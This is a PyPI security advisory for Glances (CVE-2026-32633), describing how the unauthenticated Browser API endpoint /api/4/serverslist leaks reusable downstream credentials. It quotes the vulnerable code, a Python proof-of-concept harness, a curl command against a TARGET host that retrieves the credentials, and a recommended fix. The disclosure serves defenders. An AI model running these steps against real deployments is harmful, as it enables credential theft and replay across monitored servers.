id: PYSEC-2026-343 published: "2026-06-29T11:50:44.905963Z" modified: "2026-07-01T20:22:53.387086Z" aliases: - CVE-2026-32633 - GHSA-r297-p3v4-wp8m summary: Glances's Browser API Exposes Reusable Downstream Credentials via `/api/4/serverslist` details: "## Summary\n\nIn Central Browser mode, the `/api/4/serverslist` endpoint returns raw server objects from `GlancesServersList.get_servers_list()`. Those objects are mutated in-place during background polling and can contain a `uri` field with embedded HTTP Basic credentials for downstream Glances servers, using the reusable pbkdf2-derived Glances authentication secret.\n\nIf the front Glances Browser/API instance is started without `--password`, which is supported and common for internal network deployments, `/api/4/serverslist` is completely unauthenticated. Any network user who can reach the Browser API can retrieve reusable credentials for protected downstream Glances servers once they have been polled by the browser instance.\n \n## Details\n\nThe Browser API route simply returns the raw servers list:\n\n```python\n # glances/outputs/glances_restful_api.py:799-805\ndef _api_servers_list(self):\n self.__update_servers_list()\n return GlancesJSONResponse(self.servers_list.get_servers_list() if self.servers_list else [])\n```\n\nThe main API router is only protected when the front instance itself was started with `--password`. Otherwise there are no authentication dependencies at all:\n\n```python\n# glances/outputs/glances_restful_api.py:475-480\n if self.args.password:\n router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)])\nelse:\n router = APIRouter(prefix=self.url_prefix)\n```\n\nThe Glances web server binds to `0.0.0.0` by default:\n\n```python\n# glances/main.py:425-427\nparser.add_argument(\n '--bind',\n default='0.0.0.0',\n dest='bind_address',\n)\n```\n\nDuring Central Browser polling, server entries are modified in-place and gain a `uri` field:\n \n```python\n# glances/servers_list.py:141-148\ndef __update_stats(self, server):\n server['uri'] = self.get_uri(server)\n ...\n if server['protocol'].lower() == 'rpc':\n self.__update_stats_rpc(server['uri'], server)\n elif server['protocol'].lower() == 'rest' and not import_requests_error_tag:\n self.__update_stats_rest(f\"{server['uri']}/api/{__apiversion__}\", server)\n```\n\nFor protected servers, `get_uri()` loads the saved password from the `[passwords]` section (or the `default` password), hashes it, and embeds it directly in the URI:\n\n```python\n# glances/servers_list.py:119-130\n def get_uri(self, server):\n if server['password'] != \"\":\n if server['status'] == 'PROTECTED':\n clear_password = self.password.get_password(server['name'])\n if clear_password is not None:\n server['password'] = self.password.get_hash(clear_password)\n uri = 'http://{}:{}@{}:{}'.format(\n server['username'],\n server['password'],\n server['name'],\n server['port'],\n )\n else:\n uri = 'http://{}:{}'.format(server['name'], server['port'])\n return uri\n```\n\nPassword lookup falls back to a global default:\n \n```python\n# glances/password_list.py:55-58\ntry:\n return self._password_dict[host]\n except (KeyError, TypeError):\n return self._password_dict['default']\n```\n\n The sample configuration explicitly supports browser-wide default password reuse:\n \n```ini\n# conf/glances.conf:656-663\n[passwords]\n# localhost=abc\n# default=defaultpassword\n ```\n\nThe secret embedded in `uri` is not the cleartext password, but it is still a reusable Glances authentication credential. Client connections send that pbkdf2-derived hash over HTTP Basic authentication:\n\n```python\n# glances/password.py:72-74,94\n # For Glances client, get the password (confirm=False, clear=True):\n# 2) the password is hashed with SHA-pbkdf2_hmac (only SHA string transit\npassword = password_hash\n ```\n\n```python\n# glances/client.py:56-57\nif args.password != \"\":\n self.uri = f'http://{args.username}:{args.password}@{args.client}:{args.port}'\n```\n\nThe Browser WebUI also consumes that raw `uri` directly and redirects the user to it:\n \n```javascript\n// glances/outputs/static/js/Browser.vue:83-103\nfetch(\"api/4/serverslist\", { method: \"GET\" })\n...\nwindow.location.href = server.uri;\n```\n\nSo once `server.uri` contains credentials, those credentials are not just used internally; they are exposed to API consumers and frontend JavaScript.\n\n## PoC\n\n### Step 1: Verified local live proof that server objects contain credential-bearing URIs\n \nThe following command executes the real `glances/servers_list.py` update logic against a live local HTTP server that always returns `401`. This forces Glances to mark the downstream server as `PROTECTED` and then retry with the saved/default password. After the second refresh, the in-memory server list contains a `uri` field with embedded credentials.\n\n```bash\ncd D:\\bugcrowd\\glances\\repo\n@'\nimport importlib.util\nimport json\nimport sys\nimport threading\nimport types\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom pathlib import Path\nfrom defusedxml import xmlrpc as defused_xmlrpc\n\npkg = types.ModuleType('glances')\npkg.__apiversion__ = '4'\nsys.modules['glances'] = pkg\n\nclient_mod = types.ModuleType('glances.client')\n class GlancesClientTransport(defused_xmlrpc.xmlrpc_client.Transport):\n def set_timeout(self, timeout):\n self.timeout = timeout\nclient_mod.GlancesClientTransport = GlancesClientTransport\nsys.modules['glances.client'] = client_mod\n\nglobals_mod = types.ModuleType('glances.globals')\n globals_mod.json_loads = json.loads\nsys.modules['glances.globals'] = globals_mod\n \nlogger_mod = types.ModuleType('glances.logger')\nlogger_mod.logger = types.SimpleNamespace(\n debug=lambda *a, **k: None,\n warning=lambda *a, **k: None,\n info=lambda *a, **k: None,\n error=lambda *a, **k: None,\n)\nsys.modules['glances.logger'] = logger_mod\n\npassword_list_mod = types.ModuleType('glances.password_list')\n class GlancesPasswordList: pass\npassword_list_mod.GlancesPasswordList = GlancesPasswordList\nsys.modules['glances.password_list'] = password_list_mod\n\ndynamic_mod = types.ModuleType('glances.servers_list_dynamic')\n class GlancesAutoDiscoverServer: pass\ndynamic_mod.GlancesAutoDiscoverServer = GlancesAutoDiscoverServer\nsys.modules['glances.servers_list_dynamic'] = dynamic_mod\n\nstatic_mod = types.ModuleType('glances.servers_list_static')\n class GlancesStaticServer: pass\nstatic_mod.GlancesStaticServer = GlancesStaticServer\nsys.modules['glances.servers_list_static'] = static_mod\n\nspec = importlib.util.spec_from_file_location('tested_servers_list', Path('glances/servers_list.py'))\nmod = importlib.util.module_from_spec(spec)\n spec.loader.exec_module(mod)\nGlancesServersList = mod.GlancesServersList\n\nclass Handler(BaseHTTPRequestHandler):\n def do_POST(self):\n _ = self.rfile.read(int(self.headers.get('Content-Length', '0')))\n self.send_response(401)\n self.end_headers()\n def log_message(self, *args):\n pass\n\nhttpd = HTTPServer(('127.0.0.1', 0), Handler)\nport = httpd.server_address[1]\n thread = threading.Thread(target=httpd.serve_forever, daemon=True)\nthread.start()\n \nclass FakePassword:\n def get_password(self, host=None):\n return 'defaultpassword'\n def get_hash(self, password):\n return f'hash({password})'\n\nsl = GlancesServersList.__new__(GlancesServersList)\n sl.password = FakePassword()\nsl._columns = [{'plugin': 'system', 'field': 'hr_name'}]\n server = {\n 'key': f'target:{port}',\n 'name': '127.0.0.1',\n 'ip': '203.0.113.77',\n 'port': port,\n 'protocol': 'rpc',\n 'username': 'glances',\n 'password': '',\n 'status': 'UNKNOWN',\n 'type': 'STATIC',\n}\nsl.get_servers_list = lambda: [server]\n\nsl._GlancesServersList__update_stats(server)\nsl._GlancesServersList__update_stats(server)\n httpd.shutdown()\nthread.join(timeout=2)\nprint(json.dumps(sl.get_servers_list(), indent=2))\n'@ | python -\n```\n\nVerified output:\n\n```json\n[\n {\n \"key\": \"target:57390\",\n \"name\": \"127.0.0.1\",\n \"ip\": \"203.0.113.77\",\n \"port\": 57390,\n \"protocol\": \"rpc\",\n \"username\": \"glances\",\n \"password\": null,\n \"status\": \"PROTECTED\",\n \"type\": \"STATIC\",\n \"uri\": \"http://glances:hash(defaultpassword)@127.0.0.1:57390\",\n \"columns\": [\n \"system_hr_name\"\n ]\n }\n]\n```\n\nThis is the same raw object shape that `/api/4/serverslist` returns.\n\n### Step 2: Remote reproduction on a live Browser instance\n\n1. Configure Glances Browser mode with a saved default password for downstream servers:\n\n```ini\n[passwords]\ndefault=SuperSecretBrowserPassword\n ```\n\n2. Start the Browser/API instance without front-end authentication:\n\n```bash\n glances --browser -w -C ./glances.conf\n```\n\n3. Ensure at least one protected downstream server is polled and marked `PROTECTED`.\n\n4. From any machine that can reach the Glances Browser API, fetch the raw server list:\n\n```bash\ncurl -s http://TARGET:61208/api/4/serverslist\n```\n\n5. Observe entries like:\n\n```json\n{\n \"name\": \"internal-glances.example\",\n \"status\": \"PROTECTED\",\n \"uri\": \"http://glances:@internal-glances.example:61209\"\n}\n```\n \n## Impact\n\n- **Unauthenticated credential disclosure:** When the front Browser API runs without `--password`, any reachable user can retrieve downstream Glances authentication secrets from `/api/4/serverslist`.\n- **Credential replay:** The disclosed pbkdf2-derived hash is the effective Glances client secret and can be replayed against downstream Glances servers using the same password.\n- **Fleet-wide blast radius:** A single Browser instance can hold passwords for many downstream servers via host-specific entries or `[passwords] default`, so one exposed API can disclose credentials for an entire monitored fleet.\n- **Chains with the earlier CORS issue:** Even when the front instance uses `--password`, the permissive default CORS behavior can let a malicious website read `/api/4/serverslist` from an authenticated browser session and steal the same downstream credentials cross-origin.\n\n## Recommended Fix\n\nDo not expose credential-bearing fields in API responses. At minimum, strip `uri`, `password`, and any derived credential material from `/api/4/serverslist` responses and make the frontend derive navigation targets without embedded auth.\n \n```python\n# glances/outputs/glances_restful_api.py\n\ndef _sanitize_server(self, server):\n safe = dict(server)\n safe.pop('password', None)\n safe.pop('uri', None)\n return safe\n\ndef _api_servers_list(self):\n self.__update_servers_list()\n servers = self.servers_list.get_servers_list() if self.servers_list else []\n return GlancesJSONResponse([self._sanitize_server(server) for server in servers])\n ```\n\nAnd in the Browser WebUI, construct navigation URLs from non-secret fields (`ip`, `name`, `port`, `protocol`) instead of trusting a backend-supplied `server.uri`." affected: - package: name: glances ecosystem: PyPI purl: pkg:pypi/glances ranges: - type: ECOSYSTEM events: - introduced: "0" - fixed: 4.5.2 versions: - 1.3.1 - 1.3.2 - 1.3.3 - 1.3.4 - 1.3.5 - 1.3.6 - 1.3.7 - "1.4" - 1.4.1 - 1.4.1.1 - 1.4.2 - 1.4.2.1 - "1.5" - 1.5.1 - 1.5.2 - "1.6" - 1.6.1 - "1.7" - 1.7.1 - 1.7.2 - 1.7.3 - 1.7.4 - 1.7.5 - 1.7.6 - 1.7.7 - "2.0" - 2.0.1 - "2.1" - 2.1.1 - 2.1.2 - "2.10" - "2.11" - 2.11.1 - "2.2" - 2.2.1 - "2.3" - "2.4" - 2.4.1 - 2.4.2 - "2.5" - 2.5.1 - "2.6" - 2.6.1 - 2.6.2 - "2.7" - 2.7.1 - "2.8" - 2.8.1 - 2.8.2 - 2.8.3 - 2.8.4 - 2.8.5 - 2.8.6 - 2.8.7 - 2.8.8 - 2.9.0 - 2.9.1 - "3.0" - 3.0.1 - 3.0.2 - 3.1.0 - 3.1.1 - 3.1.2 - 3.1.3 - 3.1.4 - 3.1.4.1 - 3.1.5 - 3.1.6 - 3.1.6.1 - 3.1.6.2 - 3.1.7 - 3.2.0 - 3.2.1 - 3.2.2 - 3.2.3 - 3.2.3.1 - 3.2.4 - 3.2.4.1 - 3.2.4.2 - 3.2.5 - 3.2.6.1 - 3.2.6.2 - 3.2.6.3 - 3.2.6.4 - 3.2.7 - 3.3.0 - 3.3.0.1 - 3.3.0.2 - 3.3.0.3 - 3.3.0.4 - 3.3.1 - 3.3.1.1 - 3.4.0 - 3.4.0.1 - 3.4.0.2 - 3.4.0.3 - 3.4.0.4 - 3.4.0.5 - 4.0.1 - 4.0.2 - 4.0.3 - 4.0.4 - 4.0.5 - 4.0.6 - 4.0.7 - 4.0.8 - 4.1.0 - 4.1.1 - 4.1.2 - 4.2.0 - 4.2.1 - 4.3.0 - 4.3.0.1 - 4.3.0.3 - 4.3.0.4 - 4.3.0.5 - 4.3.0.6 - 4.3.0.7 - 4.3.0.8 - 4.3.1 - 4.3.2 - 4.3.3 - 4.4.0 - 4.4.1 - 4.5.0 - 4.5.0.1 - 4.5.0.2 - 4.5.0.3 - 4.5.0.4 - 4.5.0.5 - 4.5.1 references: - type: WEB url: https://github.com/nicolargo/glances/security/advisories/GHSA-r297-p3v4-wp8m - type: ADVISORY url: https://nvd.nist.gov/vuln/detail/CVE-2026-32633 - type: WEB url: https://github.com/nicolargo/glances/commit/879ef8688ffa1630839549751d3c7ef9961d361e - type: PACKAGE url: https://github.com/nicolargo/glances - type: WEB url: https://github.com/nicolargo/glances/releases/tag/v4.5.2 - type: PACKAGE url: https://pypi.org/project/glances - type: ADVISORY url: https://github.com/advisories/GHSA-r297-p3v4-wp8m severity: - type: CVSS_V3 score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N